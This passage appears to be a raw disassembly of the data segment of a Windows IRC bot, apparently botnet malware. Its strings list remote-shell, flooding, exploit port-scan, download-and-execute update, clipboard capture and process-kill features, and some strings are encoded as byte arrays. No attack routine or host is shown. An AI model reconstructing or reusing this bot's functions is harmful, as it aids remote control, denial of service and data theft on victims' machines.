		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start server thread, error: <%d>.',0
dword_4334BC	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_4334CC	dd 646E6946h, 6C696620h, 65hdword_4334D8	dd 72027002h, 1F631F6Fh, 2E2Ehdword_4334E4	dd 636F7250h, 20737365h, 7473696Ch, 0dword_4334F4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004125B4o
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_4125A7o
		align 4
dword_433538	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412592o
		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_412585o
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0041255Do
		align 4
dword_43358C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412511o
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_4335CC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004124D3o
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_4335F8	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:004124A8o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_433644	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0041243Do
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_433674	dd 627573h	dword_433678	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004123C8o
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh
dword_4336A4	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:004123ADo
		dd 2029206Ch, 2BBBB02h
aFailedToStar_6	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_4336F0	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:00412320o
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_43371C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041229Fo
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_433748	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00412270o
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_433774	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041221Bo
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh
dword_4337A0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:00412208o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_7	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_4337F0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:00412199o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: seg000:00412179o
		align 4
dword_43382C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:00412122o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 10h
unk_433860	db    2			; DATA XREF: seg000:004120F6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 64h,	6Bh, 65h
		db  79h	; y
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_433894	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004120AAo
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_4338C0	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:loc_41200Do
		dd 2029206Ch, 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_4338F4	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00412006o
		dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 10h
dword_433930	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00411FEAo
		dd 2029206Ch, 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_43396C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411FD4o
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: seg000:00411FA6o
		align 10h
unk_4339B0	db    2			; DATA XREF: seg000:loc_411F96o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 10h
unk_4339F0	db    2			; DATA XREF: seg000:00411F7Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_433A28	db    2			; DATA XREF: seg000:loc_411F6Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_433A68	db    2			; DATA XREF: seg000:loc_411F64o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_433AA8	db    2			; DATA XREF: seg000:00411F5Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 10h
unk_433AE0	db    2			; DATA XREF: seg000:00411EDFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_8	db 'Failed to start server thread, error: <%d>.',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start server thread, error: <%d>.',0
unk_433B78	db    2			; DATA XREF: seg000:00411C45o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 4
dword_433BAC	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:loc_411C2Fo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_10	db '  Failed to start scan, port is invalid.',0
		align 4
dword_433BF8	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:00411B70o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_433C74	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411930o
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_433CAC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411917o
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_433CE0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004118F7o
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_433D14	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004118DEo
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_433D40	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_411860o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 10h
dword_433D80	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:00411859o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_433DB8	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_411813o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_433DF4	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:00411809o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 10h
aAll		db 'all',0              ; DATA XREF: seg000:004117EFo
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:00411764o
					; seg000:loc_41256Fo
		align 4
dword_433E44	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004116EEo
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_433E7C	db    2			; DATA XREF: seg000:loc_4116D9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 4
unk_433EB4	db    2			; DATA XREF: seg000:004116CFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_433EE4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004116A6o
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_433F1C	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:loc_41168Ao
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_433F58	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:0041165Co
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_433F88	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_411628o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 4
dword_433FCC	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0041161Eo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 4
dword_434004	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_4115C8o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 4
dword_43404C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:004115C1o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
dword_434084	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:00411580o
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_4340B4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:004114FBo
		dd 2029206Ch, 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_4340EC	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:00411489o
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
unk_434114	db    2			; DATA XREF: seg000:0041146Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start connection thread, error: <%d>.',0
dword_434164	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: seg000:004113FFo
		dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h,	2E732520h
		dd 0
dword_434190	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: seg000:loc_411390o
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_4341C0	db    2			; DATA XREF: seg000:00411386o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_4341F0	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00411355o
		dd 2029206Ch, 2BBBB02h,	6F432020h, 6E616D6Dh, 203A7364h
		dd 7325h
dword_43421C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0041134Ao
		dd 2029206Ch, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_43425C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041130Ao
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 10h
dword_434290	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004112F6o
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_4342C8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411271o
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_4342F4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411236o
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_434338	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041121Ao
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 10h
dword_434370	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411198o
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 10h
dword_4343A0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041115Do
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 10h
dword_4343D0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411107o
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 10h
dword_434400	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041109Fo
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_434428	dd 54524150h, 0D732520h, 0Ah					; seg000:004118E9o
dword_434434	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411036o
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: seg000:00411028o
		align 10h
dword_434470	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:00410FFFo
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_4344A0	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:00410F94o
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_4344D0	dd 45444F4Dh, 732520hdword_4344D8	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:00410F0Ao
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_434508	dd 4B43494Eh, 732520h					; seg000:00411730o
dword_434510	dd 4E494F4Ah, 20732520h, 7325hdword_43451C	dd 54524150h, 732520hdword_434524	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_410E18o
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_43456C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410DE1o
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: seg000:00410D90o
		align 10h
dword_4345A0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_410D48o
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_4345C8	dd 25207325h, 73252073h, 73253A20h, 0					; seg000:00410DBBo ...
unk_4345D8	db    2			; DATA XREF: seg000:loc_410CB7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_434630	db    2			; DATA XREF: seg000:00410CADo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 10h
unk_434680	db    2			; DATA XREF: seg000:00410C3Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: seg000:00410B98o
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
		db 2 dup(20h), 43h
		db  6Fh	; o
		db 2 dup(6Dh), 61h
		db  6Eh	; n
		db 64h,	73h, 3Ah
		db  20h
		db 25h,	73h, 0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 10h
unk_434730	db    2			; DATA XREF: seg000:00410A98o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start search thread, error: <%d>.',0
		align 10h
unk_434780	db    2			; DATA XREF: seg000:00410A1Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_4347C4	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:loc_410980o
					; seg000:00411587o
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_4347E4	db    2			; DATA XREF: seg000:0041096Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_43481C	db    2			; DATA XREF: seg000:loc_410949o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_434868	db    2			; DATA XREF: seg000:0041093Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_4348B4	db    2			; DATA XREF: seg000:004108C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_4348F4	db    2			; DATA XREF: seg000:0041084Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_13	db ' Failed to start clone thread, error: <%d>.',0
unk_434940	db    2			; DATA XREF: seg000:004107DFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_434984	db    2			; DATA XREF: seg000:00410757o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
